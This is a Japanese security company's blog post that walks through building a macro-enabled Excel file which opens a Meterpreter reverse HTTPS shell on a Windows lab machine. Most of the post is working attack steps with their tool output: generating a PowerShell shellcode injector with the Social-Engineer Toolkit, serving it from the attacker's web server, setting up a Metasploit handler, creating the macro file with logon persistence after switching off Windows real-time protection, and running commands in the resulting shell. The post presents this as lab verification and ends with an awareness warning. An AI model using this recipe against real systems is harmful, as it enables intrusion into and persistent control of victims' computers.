このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
検証の前にちょこっと宣伝
Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆
Excelのマクロで Reverse Shell!!!
今回のArmoris日記ではExcelファイルを開いてマクロを有効化することでReverse Shellが作成できるか検証します。
一般的なマクロを使用した攻撃ではマルウェアのダウンロードなどが行われます。
HTTP Reverse Shellとは:
Firewallなどで弾かれる可能性を下げるためにhttpを利用してターゲット端末側から接続させる方法でターゲット端末のshellを使うものです。
検証環境
まずは検証にあたって使用した環境を紹介します。
Excelファイルを開く際は手持ちのOfficeを使用しています。
Name | Version |
---|---|
Kali Linux | 2020.2 |
MSEdge on Win10 | Stable 1809 |
各種準備
攻撃者:Kali Linux環境
まずはKali Linuxを使用してPayloadの生成とhttpの待受を行います。
PayloadはKali LinuxのSocial Engineer Toolkitを使用して生成します。
[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] Version: 8.0.3 Codename: 'Maverick' [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs. The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu. set> 9 The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventative technologies. 1) Powershell Alphanumeric Shellcode Injector 2) Powershell Reverse Shell 3) Powershell Bind Shell 4) Powershell Dump SAM Database 99) Return to Main Menu set:powershell>1 Enter the IPAddress or DNS name for the reverse host: 10.0.1.30 set:powershell> Enter the port for the reverse [443]:8080 [*] Prepping the payload for delivery and injecting alphanumeric shellcode... [*] Generating x86-based powershell injection code... [*] Reverse_HTTPS takes a few seconds to calculate..One moment.. No encoder specified, outputting raw payload Payload size: 380 bytes Final size of c file: 1622 bytes [*] Finished generating powershell injection bypass. [*] Encoded to bypass execution restriction policy... [*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/ set> Do you want to start the listener now [yes/no]: : no
10.0.1.30
はKali Linuxのipアドレスを入力します。
8080
は待ち受ける予定のポートを入力します。
生成されたPayloadを/var/www/html/
以下に保存してwebサーバーを起動します。
root@kali-linux:~/.set/reports/powershell# mv x86_powershell_injection.txt /var/www/html/pd.txt root@kali-linux:~/.set/reports/powershell# service nginx start
Payloadを配置したら先ほど設定した8080
ポートで待ち受けます。
conf.rc
を作成し、ipアドレスなどを入力してmsfconsoleで起動します。
$ cat conf.rc use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 10.0.1.30 set LPORT 8080 set ExitOnSession false exploit -j -z $ msfconsole -q -r conf.rc [*] Processing conf.rc for ERB directives. resource (conf.rc)> use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (conf.rc)> set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https resource (conf.rc)> set LHOST 10.0.1.30 LHOST => 10.0.1.30 resource (conf.rc)> set LPORT 8080 LPORT => 8080 resource (conf.rc)> set ExitOnSession false ExitOnSession => false resource (conf.rc)> exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf5 exploit(multi/handler) > [*] Started HTTPS reverse handler on https://10.0.1.30:8080 msf5 exploit(multi/handler) >
これでKali Linuxでの準備が完了しました。
侵入先:Windows環境
いよいよ侵入先のWindows環境を準備します。
以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しました。
Microsoft Edge Developer
ダウンロードが完了したらVirtualBoxでインポートを行い起動します。
起動できたらデフォルトパスワードのPassw0rd! でログインして、Windows Securityからリアルタイム保護などを無効にしておきます。
次に以下のツールを使用してマクロ入りのExcelファイルを作成します。
zipなどでGitHubからダウンロードし、デスクトップなどに展開しておきます。
Generate-Macro
PowerShellを開いてツールがあるフォルダーまで移動し、.ps1ファイルを実行します。
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version):
には先ほど生成したPayloadのURLを入力し、ipアドレスやポート番号を入力後にファイル名を入力してExcelファイルを生成します。
PS C:\Users\IEUser\Desktop> .\Generate-Macro.ps1 Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): http://10.0.1.30/pd.txt Enter IP Address: 10.0.1.30 Enter Port Number: 8080 Enter the name of the document (Do not include a file extension): file --------Select Attack--------- 1. Meterpreter Shell with Logon Persistence 2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin) 3. Meterpreter Shell with Alternate Data Stream Persistence 4. Meterpreter Shell with Scheduled Task Persistence ------------------------------ Select Attack Number & Press Enter: 1 --------Select Payload--------- 1. Meterpreter Reverse HTTPS 2. Meterpreter Reverse HTTP ------------------------------ Select Payload Number & Press Enter: 1 Saved to file C:\Users\IEUser\Desktop\file.xls Clean-up Script located at C:\Users\IEUser\Desktop\RegistryCleanup.ps1
デスクトップにExcelファイルが生成されていれば成功です。
準備ができたら生成されたExcelファイルを開いてマクロを有効化してみましょう。
Windows画面上では何も変化がありませんが、Kali Linuxの方では画像のように侵入に成功しています。
本当にWindowsに侵入できているかを確認するためにデスクトップにファイルを作成してみます。
まずはshell
と入力してWindowsのシェルを利用します。コマンドプロンプトを使ったことがあれば見たことのある表示になっていると思います。
次にcd C:\Users\IEUser\Desktop
と入力してデスクトップまで移動し、echo Hack!!! > hack.txt
と入力してテキストファイルを作成します。
Windowsのデスクトップを見ると実際にファルが作成されていることが確認できます。
以上で今回の検証は終わりです。
おわり
普段業務の中で流れ作業のようにエクセルファイルを開いてマクロの有効化が行われていると思いますが、今回の検証でそのファイルがもし悪意のある第3者によって作られていた場合たったワンクリックで被害を受けてしまうことが分かったのではないかと思います。
また、実際に検証する際は必ず仮想環境などを用意し、そこに対して攻撃コードを実行するようにしてください。